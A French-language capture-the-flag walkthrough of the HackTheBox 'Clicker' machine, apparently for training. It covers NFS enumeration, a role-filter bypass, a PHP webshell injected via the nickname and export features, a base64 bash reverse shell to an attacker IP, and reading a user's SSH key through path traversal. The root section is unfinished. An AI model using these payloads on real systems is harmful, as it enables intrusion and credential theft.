Clicker - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.232 |
| OS | Linux (Ubuntu) |
| Difficulté | Medium |
| Points Clés | NFS Export, PHP Injection, Role Escalation, Perl Script Abuse |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate=1000 -T4 10.10.11.232
nmap -sCV -p 22,80,111,2049 10.10.11.232
Ports importants :
22/tcp - SSH (OpenSSH 8.9p1 Ubuntu)
80/tcp - HTTP (Apache 2.4.52)
111/tcp - RPC bind
2049/tcp - NFS
Configuration DNS
echo "10.10.11.232 clicker.htb" | sudo tee -a /etc/hosts
Phase 2 : Énumération Web
Découverte de Répertoires
gobuster dir -u http://clicker.htb -w /usr/share/wordlists/dirb/common.txt -k
Résultats importants :
/admin.php- Page d'administration (redirige vers /index.php si non-admin)/exports- Répertoire d'export/info.php- Page d'information PHP/assets- Ressources statiques
Analyse de l'Application
L'application est un jeu de clicker avec :
- Système d'authentification (
/login.php,/register.php) - Sauvegarde de parties (
/save_game.php) - Export de données (
/export.php) - Note : Cookie
PHPSESSIDsans flaghttponly
Phase 3 : Énumération NFS
Découverte des Exports
showmount -e 10.10.11.232
Résultat : /mnt/backups est partagé publiquement.
Montage du Partage NFS
sudo mkdir -p /mnt/clickernfs
sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/clickernfs -nolock
Exploration des Backups
ls -la /mnt/clickernfs/
cat /mnt/clickernfs/db_utils.php
Fichier db_utils.php :
<?php
session_start();
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);
Note : Requêtes préparées utilisées (pas de SQLi directe).
Fichier admin.php :
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
Fichier authenticate.php :
<?php
session_start();
include_once("db_utils.php");
if (isset($_POST['username']) && isset($_POST['password'])) {
if(check_auth($_POST['username'], $_POST['password'])) {
$_SESSION["PLAYER"] = $_POST["username"];
$profile = load_profile($_POST["username"]);
$_SESSION["NICKNAME"] = $profile["nickname"];
$_SESSION["ROLE"] = $profile["role"];
$_SESSION["CLICKS"] = $profile["clicks"];
$_SESSION["LEVEL"] = $profile["level"];
header('Location: /index.php');
}
}
?>
Phase 4 : Exploitation - Élévation de Rôle
Analyse de save_game.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// Prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
Vulnérabilité : La vérification du paramètre role peut être contournée avec un encodage spécial.
Inscription et Connexion
# S'inscrire
curl -X POST http://clicker.htb/register.php -d "username=toto&password=toto1"
# Se connecter
curl -X POST http://clicker.htb/authenticate.php -d "username=toto&password=toto1" -c cookies.txt
Bypass du Filtre Role
Requête avec Burp Suite :
GET /save_game.php?clicks=2&level=1&%0Arole=Admin HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7
Explication : L'encodage %0A (nouvelle ligne) permet de contourner le filtre strtolower($key) === 'role'.
Phase 5 : Injection PHP via Export
Injection de Code PHP dans Nickname
Requête d'injection :
GET /save_game.php?clicks=6&level=0&nickname=<%3fphp+system($_GET['cmd'])+%3f> HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7
Payload décodé : <?php system($_GET['cmd']) ?>
Génération du Fichier PHP Malveillant
Requête d'export :
POST /export.php HTTP/1.1
Host: clicker.htb
Cookie: PHPSESSID=ok1ioo08qb4323p7k164e8q7b7
Content-Type: application/x-www-form-urlencoded
threshold=1000000&extension=php
Résultat : Création de /exports/top_players_XXXXX.php contenant le code PHP injecté.
Phase 6 : Obtenir un Shell
Préparation du Reverse Shell
# Créer le payload encodé
echo "sh -i >& /dev/tcp/10.10.15.130/1234 0>&1" | base64
# Résultat: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTMwLzEyMzQgMD4mMQo=
# Listener
nc -lvnp 1234
Exécution du Payload
curl "http://clicker.htb/exports/top_players_XXXXX.php?cmd=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTMwLzEyMzQgMD4mMQo=%20|%20base64%20-d%20|%20bash"
Résultat : Shell en tant que www-data.
Phase 7 : Escalade vers l'Utilisateur Jack
Énumération
ls -la /opt/manage/
cat /opt/manage/README.txt
Exploitation du Script execute_query
Le binaire /opt/manage/execute_query permet d'exécuter des requêtes SQL et de lire des fichiers.
/opt/manage/execute_query 5 ../.ssh/id_rsa
Résultat : Récupération de la clé privée SSH de l'utilisateur jack.
Connexion SSH
# Sauvegarder la clé
nano jack_id_rsa
chmod 600 jack_id_rsa
# Connexion
ssh -i jack_id_rsa [email protected]
🚩 Flag User
cat /home/jack/user.txt
🚩 Flag User: HTB{...}
Phase 8 : Escalade Root
Énumération des Privilèges Sudo
sudo -l
Résultat : Possibilité d'exécuter certains scripts en tant que root.
Exploitation
# À compléter selon les privilèges sudo découverts
🚩 Flag Root
cat /root/root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Énumération NFS et montage de partages
- Analyse de code PHP pour identifier des vulnérabilités
- Bypass de filtres de sécurité via encodage
- Injection de code PHP
- Exploitation de binaires SUID/sudo
- Escalade de privilèges Linux
Outils Utilisés
nmap- Reconnaissance réseaugobuster- Énumération webshowmount- Découverte d'exports NFSmount- Montage NFSburpsuite- Manipulation de requêtes HTTPcurl- Interaction HTTPnc- Reverse shellssh- Connexion distante
Bonnes Pratiques
- Ces techniques doivent être exécutées uniquement dans des environnements autorisés (CTF/lab)
- Ne pas utiliser sur des systèmes de production sans autorisation explicite
- Toujours vérifier les permissions avant de monter des partages NFS
Références
- Documentation NFS Security
- PHP Filter Bypass Techniques
- Linux Privilege Escalation Guide